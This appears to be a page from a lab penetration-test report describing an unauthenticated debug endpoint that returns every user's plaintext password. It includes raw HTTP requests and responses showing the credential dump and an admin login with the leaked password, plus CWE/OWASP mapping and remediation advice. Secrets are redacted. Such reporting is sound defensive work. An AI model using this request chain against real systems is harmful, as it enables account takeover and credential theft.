Vulnerability
[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials
Description
The /debug/users endpoint is reachable without authentication and returns the entire users table, including the password column. Passwords are stored in plaintext rather than hashed, so they can be used immediately.
Impact
Confidentiality (High, leading to full compromise): anyone without credentials can download every customer's username, plaintext password, account number, and administrator flag. In testing, the administrator password obtained from this endpoint was used directly to log in as administrator. Because passwords are often reused, the impact extends beyond this application.
CWE
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
OWASP
A01:2021 - Broken Access Control
Scenario
Control: /dashboard without a token is rejected with HTTP 401, showing the application does have an authentication layer. Exploitation: /debug/users is accessed without any token -> HTTP 200 containing every credential. Impact: the leaked administrator password is used to log in and yields a token with is_admin true.
Endpoint
GET http://127.0.0.1:5001/debug/users
Affected feature
Debug endpoint left in the production build
Remediation
- Remove debug endpoints from code shipped to production; do not merely hide them.
- Store passwords as salted hashes (bcrypt/argon2) and never return the password column from any query.
- Apply authentication and authorization by default (deny by default) on all routes.
- Rotate every credential that was exposed.
Proof of concept
- (Screenshot 1) CONTROL: /dashboard without a token -> HTTP 401 Token is missing, authentication does exist.
- (Screenshot 2) EXPLOITATION: /debug/users without authentication -> HTTP 200 containing every user with plaintext passwords.
- (Screenshot 3) CIA IMPACT: the leaked administrator password is used to log in -> an administrator token is issued, is_admin true.
The complete record
LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.
HTTP request
GET /dashboard HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP response
HTTP/1.1 401 UNAUTHORIZED
Content-Type: application/json
Content-Length: 34
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:18 GMT
{
"error": "Token is missing"
}
HTTP request
GET /debug/users HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 816
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:19 GMT
{
"users": [
{
"account_number": "ADMIN001",
"id": 1,
"is_admin": true,
"password": "[REDACTED-LAB-VALUE]",
"username": "admin"
},
{
"account_number": "7503483798",
"id": 4,
"is_admin": false,
"password": "[REDACTED-LAB-VALUE]",
"username": "ma_normal_user"
},
{
"account_number": "7658808238",
"id": 5,
"is_admin": true,
"password": "[REDACTED-LAB-VALUE]",
"username": "ma_evil_admin"
},
{
"account_number": "9159912486",
"id": 3,
"is_admin": false,
"password": "[REDACTED-LAB-VALUE]",
"username": "pentest_victim"
},
{
"account_number": "0932191785",
"id": 2,
"is_admin": false,
"password": "[REDACTED-LAB-VALUE]",
"username": "pentest_attacker"
}
]
}
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/json
{"username": "admin", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:20 GMT
{
"accountNumber": "ADMIN001",
"debug_info": {
"account_number": "ADMIN001",
"is_admin": true,
"login_time": "2026-09-30 03:02:20.186000",
"user_id": 1,
"username": "admin"
},
"isAdmin": true,
"message": "Login successful",
"status": "success",
"token": "[REDACTED-LAB-VALUE]"
}
← Previous case: Security Misconfiguration - CORS - Wildcard Origin Next case: Sensitive Data Exposure - Web Root - Environment Files →